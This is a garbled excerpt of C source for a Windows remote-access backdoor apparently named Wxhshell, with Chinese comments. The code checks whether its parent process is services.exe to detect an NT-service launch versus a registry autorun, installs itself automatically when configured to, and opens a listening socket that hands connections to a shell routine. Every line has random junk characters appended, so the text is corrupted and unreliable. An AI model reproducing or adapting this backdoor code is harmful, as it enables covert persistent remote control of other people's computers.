ULONG UniqueProcessId; xrA(#\}f$
ULONG InheritedFromUniqueProcessId; .LEQ r)
} PROCESS_BASIC_INFORMATION; Bz_['7D
*qAF#
PROCNTQSIP NtQueryInformationProcess; };+ '
>Gk<[0U
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ^TyusfOz
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; fPiq
_{8f^@I"+
HANDLE hProcess; sRE$*^i
PROCESS_BASIC_INFORMATION pbi; ];R5[%:5
u'd+:uH
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); f62z9)`^
if(NULL == hInst ) return 0; mq[(yR
yc+#LZ~(a
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); VBF3N5
;W
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); K?BWl:^x
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); | H2{%!
>B>CV8p6w
if (!NtQueryInformationProcess) return 0; RecA?-0
O4@Ki4f3A%
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); -DlKFN
if(!hProcess) return 0; NS#qein~i
%;!@\5$
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; xp7,0'(;
{DI_i +2
CloseHandle(hProcess); f?dNTfQ3mi
":"QsS#*"#
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); @?!/Pl49R
if(hProcess==NULL) return 0; 7ZET@
"monuErg&
HMODULE hMod; <.HHV91
char procName[255]; kN`[Q$B
unsigned long cbNeeded; 0(Vbji
Z9i,#/
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {v+i!a'+
&s"&rFFO[
CloseHandle(hProcess); 3Ym5SrKK
w^ui%9
&6H
if(strstr(procName,"services")) return 1; // 以服务启动 K-)*S\<}
5hB&]6n
return 0; // 注册表启动 ~B:Lai4"
} DvG. G+mo#
W2wDSP-
// 主模块 O*z x{a6
int StartWxhshell(LPSTR lpCmdLine) H #E
{ 6ApW+/
SOCKET wsl; bS&'oWy*B
BOOL val=TRUE; N(dn"`8
int port=0; Nn
?B D4i
struct sockaddr_in door; +IuV8XT2(
k!xi
(l<C
if(wscfg.ws_autoins) Install(); zek\AQN
,4NvD2Y
port=atoi(lpCmdLine); ba%[!
elWN-~
if(port<=0) port=wscfg.ws_port; 6[69|&
394u']M
WSADATA data; A~ '2ki5$g
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \C
ZiU3
B+jT|Y'
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ynw^nmM
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); E,xCfS)
door.sin_family = AF_INET; xii*"n ~
door.sin_addr.s_addr = inet_addr("127.0.0.1"); Q~,E
K
door.sin_port = htons(port); L-Xd3RCD
Fz?ON1\
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Nk3]<#$
closesocket(wsl); Y">Q16(
return 1; D,mFme
} N ]}Re$5
X-3L4@T:?
if(listen(wsl,2) == INVALID_SOCKET) { R=i$*6}a
closesocket(wsl); (*/P~$xIj
return 1; s$C;31k
} 9$~D4T
Wxhshell(wsl); Aw4Qm2Kf
WSACleanup(); m/0G=%d%k
`.MM|6
return 0; 5WO!u:!'
:B$=Pp1
} _(
w4 \]
KAgiY4
// 以NT服务方式启动 ZZ!d:1'7
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) KFAB
{ 9=rYzA?)+
DWORD status = 0; \&R